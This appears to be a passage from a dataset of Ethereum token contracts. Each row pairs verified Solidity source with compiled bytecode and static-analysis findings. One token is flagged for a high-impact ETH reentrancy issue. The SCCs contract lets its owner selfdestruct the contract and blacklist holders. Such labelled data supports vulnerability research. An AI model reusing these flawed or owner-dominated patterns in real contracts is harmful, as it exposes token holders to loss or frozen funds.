203025206160008201527f6e64203425000000000000000000000000000000000000000000000000000000602082015250565b6000613536602583612f0f565b9150613541826134da565b604082019050919050565b6000602082019050818103600083015261356581613529565b9050919050565b7f42757920746178206d757374206265206265747765656e20302520616e64203260008201527f3025000000000000000000000000000000000000000000000000000000000000602082015250565b60006135c8602283612f0f565b91506135d38261356c565b604082019050919050565b600060208201905081810360008301526135f7816135bb565b9050919050565b7f53656c6c2072657761726473206d757374206265206265747765656e2030252060008201527f616e642034250000000000000000000000000000000000000000000000000000602082015250565b600061365a602683612f0f565b9150613665826135fe565b604082019050919050565b600060208201905081810360008301526136898161364d565b9050919050565b7f53656c6c20746178206d757374206265206265747765656e20302520616e642060008201527f3230250000000000000000000000000000000000000000000000000000000000602082015250565b60006136ec602383612f0f565b91506136f782613690565b604082019050919050565b6000602082019050818103600083015261371b816136df565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061377e602683612f0f565b915061378982613722565b604082019050919050565b600060208201905081810360008301526137ad81613771565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613810602483612f0f565b915061381b826137b4565b604082019050919050565b6000602082019050818103600083015261383f81613803565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006138a2602283612f0f565b91506138ad82613846565b604082019050919050565b600060208201905081810360008301526138d181613895565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613934602583612f0f565b915061393f826138d8565b604082019050919050565b6000602082019050818103600083015261396381613927565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006139c6602383612f0f565b91506139d18261396a565b604082019050919050565b600060208201905081810360008301526139f5816139b9565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613a58602983612f0f565b9150613a63826139fc565b604082019050919050565b60006020820190508181036000830152613a8781613a4b565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613aea603f83612f0f565b9150613af582613a8e565b604082019050919050565b60006020820190508181036000830152613b1981613add565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000613b56601c83612f0f565b9150613b6182613b20565b602082019050919050565b60006020820190508181036000830152613b8581613b49565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613be8602383612f0f565b9150613bf382613b8c565b604082019050919050565b60006020820190508181036000830152613c1781613bdb565b9050919050565b6000613c2982612fae565b9150613c3483612fae565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613c6957613c68613462565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613cd0602383612f0f565b9150613cdb82613c74565b604082019050919050565b60006020820190508181036000830152613cff81613cc3565b9050919050565b6000613d1182612fae565b9150613d1c83612fae565b925082821015613d2f57613d2e613462565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613d96602a83612f0f565b9150613da182613d3a565b604082019050919050565b60006020820190508181036000830152613dc581613d89565b9050919050565b600081519050613ddb81612df8565b92915050565b600060208284031215613df757613df6612cfa565b5b6000613e0584828501613dcc565b91505092915050565b6000819050919050565b6000613e33613e2e613e2984613e0e565b61305a565b612fae565b9050919050565b613e4381613e18565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613e7e81612de6565b82525050565b6000613e908383613e75565b60208301905092915050565b6000602082019050919050565b6000613eb482613e49565b613ebe8185613e54565b9350613ec983613e65565b8060005b83811015613efa578151613ee18882613e84565b9750613eec83613e9c565b925050600181019050613ecd565b5085935050505092915050565b600060a082019050613f1c60008301886130d4565b613f296020830187613e3a565b8181036040830152613f3b8186613ea9565b9050613f4a6060830185613188565b613f5760808301846130d4565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613f9b82612fae565b9150613fa683612fae565b925082613fb657613fb5613f61565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613ff7601b83612f0f565b915061400282613fc1565b602082019050919050565b6000602082019050818103600083015261402681613fea565b9050919050565b600061403882612fae565b915061404383612fae565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561407c5761407b613462565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006140e3602183612f0f565b91506140ee82614087565b604082019050919050565b60006020820190508181036000830152614112816140d6565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201ca294d422c219d25eebf63014b7bafe8e42976289c5f1ed8c7daf4199ba983d64736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}} | 129 |
0x0374ceb2c551f37447d8b17cb9a5ebde53136937 | /**
*Submitted for verification at Etherscan.io on 2021-05-06
*/
/******************************************************************************
*
*
* ;'+:
* ''''''`
* ''''''';
* ''''''''+.
* +''''''''',
* '''''''''+'.
* ''''''''''''
* '''''''''''''
* ,'''''''''''''.
* '''''''''''''''
* '''''''''''''''
* :'''''''''''''''.
* '''''''''''''''';
* .'''''''''''''''''
* ''''''''''''''''''
* ;''''''''''''''''''
* '''''''''''''''''+'
* ''''''''''''''''''''
* '''''''''''''''''''',
* ,''''''''''''''''''''
* '''''''''''''''''''''
* ''''''''''''''''''''':
* ''''''''''''''''''''+'
* `''''''''''''''''''''':
* ''''''''''''''''''''''
* .''''''''''''''''''''';
* ''''''''''''''''''''''`
* ''''''''''''''''''''''
* ''''''''''''''''''''''
* : ''''''''''''''''''''''
* ,: ''''''''''''''''''''''
* :::. ''+''''''''''''''''''':
* ,:,,:` .:::::::,. :''''''''''''''''''''''.
* ,,,::::,.,::::::::,:::,::,''''''''''''''''''''''';
* :::::::,::,::::::::,,,''''''''''''''''''''''''''''''`
* :::::::::,::::::::;'''''''''''''''''''''''''''''''''+`
* ,:,::::::::::::,;''''''''''''''''''''''''''''''''''''';
* :,,:::::::::::'''''''''''''''''''''''''''''''''''''''''
* ::::::::::,''''''''''''''''''''''''''''''''''''''''''''
* :,,:,:,:''''''''''''''''''''''''''''''''''''''''''''''`
* .;::;'''''''''''''''''''''''''''''''''''''''''''''''''
* :'+'''''''''''''''''''''''''''''''''''''''''''''''
* ``.::;'''''''''''''';;:::,..`````,'''''''''',
* ''''''';
* ''''''
* .'''''''; ''''''''''''' '''''''' '''''
* '''''''''''` ''''''''''''' ;''''''''''; ''';
* ''' '''` '' ''', ,''' '':
* ''' : '' `'' ''` :'`
* '' '' '': :'' '
* '' '''''''''' '' '' '
* `'' ''''''''' '''''''''' '' ''
* '' '''''''': '' '' ''
* '' '' '' ''' '''
* ''' ''' '' ''' '''
* '''. .''' '' '''. .'''
* `'''''''''' '''''''''''''` `''''''''''
* ''''''' '''''''''''''` .''''''.
*
* *********************************************************************************************/
pragma solidity 0.8.4;
// -------------------------------------------------------------------------------------------------------------------------
// 'iBlockchain Bank & Trust™' ERC20 Security Token (Common Share)
//
// Symbol : SCCs
// Trademarks (tm) : SCCs™ , SCCsS™ , Sustainability Creative™ , Decentralised Autonomous Corporation™ , DAC™
// Name : Share/Common Stock/Security Token
// Total supply : 10,000,000 (Million)
// Decimals : 2
// Implementation : Decentralized Autonomous Corporation (DAC)
// Website : https://sustainabilitycreative.com | https://sustainabilitycreative.solutions
// Github : https://github.com/Geopay/iBlockchain-Bank-and-Trust-Security-Token
// Beta Platform : https://myetherbanktrust.com/asset-class/primary-market/smart-securities/
//
// (c) by A. Valamontes with Blockchain Ventures / iBlockchain Bank & Trust Technologies Co. 2013-2021. Affero GPLv3 Licence.
// --------------------------------------------------------------------------------------------------------------------------
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// (c) by A. Valamontes with Blockchain Ventures / iBlockchain Bank & Trust Technologies Co. 2013-2021. Affero GPLv3 Licence.
// -------------------------------------------------------------------------------------------------------------------------
contract Ownable {
address public owner;
constructor() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function DissolveBusiness() public onlyOwner {
// This function is called when the organization is no longer actively operating
// The Management can decide to Terminate access to the Securities Token.
// The Blockchain records remain, but the contract no longer can perform functions pertaining
// to the operations of the Securities.
// https://www.irs.gov/businesses/small-businesses-self-employed/closing-a-business-checklist
selfdestruct(payable(msg.sender));
}
}
// (c) by A. Valamontes with Blockchain Ventures / iBlockchain Bank & Trust Technologies Co. 2013-2021. Affero GPLv3 Licence.
// -------------------------------------------------------------------------------------------------------------------------
// ----------------------------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------------------------
interface ERC20Interface {
function transfer(address to, uint tokens) external returns (bool success);
}
contract Regulated is Ownable {
event ShareholderRegistered(address indexed shareholder);
event CorpBlackBook(address indexed shareholder); // Consider this option as the Nevada Commission little black book, bad actors are blacklisted
mapping(address => bool) regulationStatus;
function RegisterShareholder(address shareholder) public onlyOwner {
regulationStatus[shareholder] = true;
emit ShareholderRegistered(shareholder);
}
function NevadaBlackBook(address shareholder) public onlyOwner {
regulationStatus[shareholder] = false;
emit CorpBlackBook(shareholder);
}
function ensureRegulated(address shareholder) view internal {
require(regulationStatus[shareholder] == true);
}
function isRegulated(address shareholder) public view returns (bool approved) {
return regulationStatus[shareholder];
}
}
// (c) by A. Valamontes with Blockchain Ventures / iBlockchain Bank & Trust Technologies Co. 2013-2021. Affero GPLv3 Licence.
// --------------------------------------------------------------------------------------------------------------------------
contract AcceptEth is Regulated {
//address public owner;
//address newOwner;
uint public price;
mapping (address => uint) balance;
constructor() {
// set owner as the address of the one who created the contract
owner = msg.sender;
// set the price to 2 ether
price = 0.00372805 ether; // Exclude Gas/Wei to transfer
}
/**
* Price must be in WEI. which means, if you want to make price 2 ether,
* then you must input 2 * 1e18 which will be: 2000000000000000000
*/
function updatePrice(uint256 _priceInWEI) external onlyOwner returns(string memory){
require(_priceInWEI > 0, 'Invalid price amount');
price = _priceInWEI;
return "Price updated successfully";
}
function accept() public payable onlyOwner {
// Error out if anything other than 2 ether is sent
require(msg.value == price);
//require(newOwner != address(0));
//require(newOwner != owner);
RegisterShareholder(owner);
//regulationStatus[owner] = true;
//emit ShareholderRegistered(owner);
// Track that calling account deposited ether
balance[msg.sender] += msg.value;
}
function refund(uint amountRequested) public onlyOwner {
//require(newOwner != address(0));
//require(newOwner != owner);
RegisterShareholder(owner);
//regulationStatus[owner] = true;
//emit ShareholderRegistered(owner);
require(amountRequested > 0 && amountRequested <= balance[msg.sender]);
balance[msg.sender] -= amountRequested;
payable(msg.sender).transfer(amountRequested); // contract transfers ether to msg.sender's address
}
event Accept(address from, address indexed to, uint amountRequested);
event Refund(address to, address indexed from, uint amountRequested);
}
contract SCCs is Regulated, AcceptEth {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalShares;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
constructor() {
// (c) by A. Valamontes with Blockchain Ventures / iBlockchain Bank & Trust Technologies Co. 2013-2021. Affero GPLv3 Licence.
// --------------------------------------------------------------------------------------------------------------------------
symbol = "SCCs"; // Create the Security Token Symbol Here
name = "Sustainability Creative eShare "; // Description of the Securetized Tokens
// In our sample we have created securites tokens and fractional securities for the tokens upto 18 digits
decimals = 2; // Number of Digits [0-18] If an organization wants to fractionalize the securities
// The 0 can be any digit up to 18. Eighteen is the standard for cryptocurrencies
_totalShares = 10000000 * 10**uint(decimals); // Total Number of Securities Issued (example 10,000,000 Shares of iBBTs)
balances[owner] = _totalShares;
emit Transfer(address(0), owner, _totalShares); // Owner or Company Representative (CFO/COO/CEO/CHAIRMAN)
regulationStatus[owner] = true;
emit ShareholderRegistered(owner);
}
// --------------------------------------------------------------------------------------------
// Don't accept ETH
// --------------------------------------------------------------------------------------------
//fallback () external payable {revert();}
function issue(address recipient, uint tokens) public onlyOwner returns (bool success) {
require(recipient != address(0));
require(recipient != owner);
RegisterShareholder(recipient);
transfer(recipient, tokens);
return true;
}
function transferOwnership(address newOwner) public onlyOwner {
// Organization is Merged or Sold and Securities Management needs to transfer to new owners
require(newOwner != address(0));
require(newOwner != owner);
RegisterShareholder(newOwner);
transfer(newOwner, balances[owner]);
owner = newOwner;
}
function totalSupply() public view returns (uint supply) {
return _totalShares - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
ensureRegulated(msg.sender);
ensureRegulated(to);
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
// Put a check for race condition issue with approval workflow of ERC20
require((tokens == 0) || (allowed[msg.sender][spender] == 0));
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
ensureRegulated(from);
ensureRegulated(to);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// --------------------------------------------------------------------------------------------------
// Corporation can issue more shares or revoke/cancel shares
// https://github.com/ethereum/EIPs/pull/621
// --------------------------------------------------------------------------------------------------
// --------------------------------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// --------------------------------------------------------------------------------------------------
function transferOtherERC20Assets(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
}
// ----------------------------------------------------------------------------------------------------
// SPDX-License-Identifier: Affero GPLv3 Licence. | https://ibbt.io
// (c) by A. Valamontes with Blockchain Ventures / iBlockchain Bank & Trust Tecnhnologies Co. 2020-2021.
// ----------------------------------------------------------------------------------------------------- | 0x6080604052600436106101355760003560e01c8063867904b4116100ab578063a035b1fe1161006f578063a035b1fe14610366578063a9059cbb1461037c578063b0428da61461039c578063cafc0fbd146103b2578063dd62ed3e146103eb578063f2fde38b1461043157600080fd5b8063867904b4146102b95780638d6cc56d146102d95780638da5cb5b146102f957806395d89b4114610331578063978485741461034657600080fd5b806323b872dd116100fd57806323b872dd146101fa578063278ecde11461021a5780632852b71c1461023a578063308dc72014610242578063313ce5671461025757806370a082311461028357600080fd5b806306fdde031461013a578063095ea7b31461016557806317655f6c1461019557806318160ddd146101b55780631e5253a4146101d8575b600080fd5b34801561014657600080fd5b5061014f610451565b60405161015c9190610d12565b60405180910390f35b34801561017157600080fd5b50610185610180366004610cb1565b6104df565b604051901515815260200161015c565b3480156101a157600080fd5b506101856101b0366004610cb1565b61057e565b3480156101c157600080fd5b506101ca610623565b60405190815260200161015c565b3480156101e457600080fd5b506101f86101f3366004610c2a565b610661565b005b34801561020657600080fd5b50610185610215366004610c76565b6106c7565b34801561022657600080fd5b506101f8610235366004610cfa565b6107d9565b6101f8610882565b34801561024e57600080fd5b506101f86108e2565b34801561026357600080fd5b506006546102719060ff1681565b60405160ff909116815260200161015c565b34801561028f57600080fd5b506101ca61029e366004610c2a565b6001600160a01b031660009081526008602052604090205490565b3480156102c557600080fd5b506101856102d4366004610cb1565b6108fc565b3480156102e557600080fd5b5061014f6102f4366004610cfa565b61095f565b34801561030557600080fd5b50600054610319906001600160a01b031681565b6040516001600160a01b03909116815260200161015c565b34801561033d57600080fd5b5061014f610a04565b34801561035257600080fd5b506101f8610361366004610c2a565b610a11565b34801561037257600080fd5b506101ca60025481565b34801561038857600080fd5b50610185610397366004610cb1565b610a71565b3480156103a857600080fd5b506101ca60075481565b3480156103be57600080fd5b506101856103cd366004610c2a565b6001600160a01b031660009081526001602052604090205460ff1690565b3480156103f757600080fd5b506101ca610406366004610c44565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b34801561043d57600080fd5b506101f861044c366004610c2a565b610b1c565b6005805461045e90610d94565b80601f016020809104026020016040519081016040528092919081815260200182805461048a90610d94565b80156104d75780601f106104ac576101008083540402835291602001916104d7565b820191906000526020600020905b8154815290600101906020018083116104ba57829003601f168201915b505050505081565b600081158061050f57503360009081526009602090815260408083206001600160a01b0387168452909152902054155b61051857600080fd5b3360008181526009602090815260408083206001600160a01b03881680855290835292819020869055518581529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a35060015b92915050565b600080546001600160a01b0316331461059657600080fd5b60005460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018490529084169063a9059cbb90604401602060405180830381600087803b1580156105e457600080fd5b505af11580156105f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061061c9190610cda565b9392505050565b600080805260086020527f5eff886ea0ce6ca488a3d6e336d6c0f75f46d19b42c06ce5ee98e42c96d256c75460075461065c9190610d7d565b905090565b6000546001600160a01b0316331461067857600080fd5b6001600160a01b0381166000818152600160208190526040808320805460ff1916909217909155517f4b1f97197167a4faa77e820abe9ecff2f1919129cd21f6d64bf693c22c76b1779190a250565b60006106d284610bb1565b6106db83610bb1565b6001600160a01b0384166000908152600860205260409020546106fe9083610bdf565b6001600160a01b03851660009081526008602090815260408083209390935560098152828220338352905220546107359083610bdf565b6001600160a01b0380861660009081526009602090815260408083203384528252808320949094559186168152600890915220546107739083610bf8565b6001600160a01b0380851660008181526008602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906107c79086815260200190565b60405180910390a35060019392505050565b6000546001600160a01b031633146107f057600080fd5b600054610805906001600160a01b0316610661565b6000811180156108245750336000908152600360205260409020548111155b61082d57600080fd5b336000908152600360205260408120805483929061084c908490610d7d565b9091555050604051339082156108fc029083906000818181858888f1935050505015801561087e573d6000803e3d6000fd5b5050565b6000546001600160a01b0316331461089957600080fd5b60025434146108a757600080fd5b6000546108bc906001600160a01b0316610661565b33600090815260036020526040812080543492906108db908490610d65565b9091555050565b6000546001600160a01b031633146108f957600080fd5b33ff5b600080546001600160a01b0316331461091457600080fd5b6001600160a01b03831661092757600080fd5b6000546001600160a01b038481169116141561094257600080fd5b61094b83610661565b6109558383610a71565b5060019392505050565b6000546060906001600160a01b0316331461097957600080fd5b600082116109c45760405162461bcd60e51b8152602060048201526014602482015273125b9d985b1a59081c1c9a58d948185b5bdd5b9d60621b604482015260640160405180910390fd5b50600281905560408051808201909152601a81527f50726963652075706461746564207375636365737366756c6c7900000000000060208201525b919050565b6004805461045e90610d94565b6000546001600160a01b03163314610a2857600080fd5b6001600160a01b038116600081815260016020526040808220805460ff19169055517f3add86390d8542bdd3b58cb90396f269d513385b6247b7ae9c5079ae74ce8d1b9190a250565b6000610a7c33610bb1565b610a8583610bb1565b33600090815260086020526040902054610a9f9083610bdf565b33600090815260086020526040808220929092556001600160a01b03851681522054610acb9083610bf8565b6001600160a01b0384166000818152600860205260409081902092909255905133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061056c9086815260200190565b6000546001600160a01b03163314610b3357600080fd5b6001600160a01b038116610b4657600080fd5b6000546001600160a01b0382811691161415610b6157600080fd5b610b6a81610661565b600080546001600160a01b0316815260086020526040902054610b8e908290610a71565b50600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03811660009081526001602081905260409091205460ff16151514610bdc57600080fd5b50565b600082821115610bee57600080fd5b61061c8284610d7d565b6000610c048284610d65565b90508281101561057857600080fd5b80356001600160a01b03811681146109ff57600080fd5b600060208284031215610c3b578081fd5b61061c82610c13565b60008060408385031215610c56578081fd5b610c5f83610c13565b9150610c6d60208401610c13565b90509250929050565b600080600060608486031215610c8a578081fd5b610c9384610c13565b9250610ca160208501610c13565b9150604084013590509250925092565b60008060408385031215610cc3578182fd5b610ccc83610c13565b946020939093013593505050565b600060208284031215610ceb578081fd5b8151801515811461061c578182fd5b600060208284031215610d0b578081fd5b5035919050565b6000602080835283518082850152825b81811015610d3e57858101830151858201604001528201610d22565b81811115610d4f5783604083870101525b50601f01601f1916929092016040019392505050565b60008219821115610d7857610d78610dcf565b500190565b600082821015610d8f57610d8f610dcf565b500390565b600181811c90821680610da857607f821691505b60208210811415610dc957634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea26469706673582212204e604b2d0f81b8a9f02843c94b4437f014510373c6968a83c719faeee2ed30f464736f6c63430008040033 | {"success": true, "error": null, "results": {}} | 130 |
0x266ed830446167c1853aa62e4bf32c2a9be3182e | /**
*Submitted for verification at Etherscan.io on 2021-03-18
*/
// SPDX-License-Identifier: No License
pragma solidity 0.6.12;
// ----------------------------------------------------------------------------
// 'TREKKIE' token contract
//
// Symbol : TREKKIE
// Name : TREKKIE
// Total supply: 100 000 000
// Decimals : 18
// ----------------------------------------------------------------------------
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath{
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
if (a == 0) {
return 0;}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
interface ERC20Basic {
function balanceOf(address who) external view returns (uint256 balance);
function transfer(address to, uint256 value) external returns (bool trans1);
function allowance(address owner, address spender) external view returns (uint256 remaining);
function transferFrom(address from, address to, uint256 value) external returns (bool trans);
function approve(address spender, uint256 value) external returns (bool hello);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20Basic, Ownable {
uint256 public totalSupply;
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public override returns (bool trans1) {
require(_to != address(0));
//require(canTransfer(msg.sender));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
*/
function balanceOf(address _owner) public view override returns (uint256 balance) {
return balances[_owner];
}
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) {
require(_to != address(0));
// require(canTransfer(msg.sender));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public override returns (bool hello) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
*/
function allowance(address _owner, address _spender) public view override returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract TREKKIE is BurnableToken {
string public constant name = "TREKKIE";
string public constant symbol = "TREKKIE";
uint public constant decimals = 18;
// there is no problem in using * here instead of .mul()
uint256 public constant initialSupply = 100000000 * (10 ** uint256(decimals));
// Constructors
constructor () public{
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
//allowedAddresses[owner] = true;
}
} | 0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a12565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd8565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e69565b6040518082815260200191505060405180910390f35b6103b1610eb2565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed6565b604051808060200182810382528381815181526020019150805190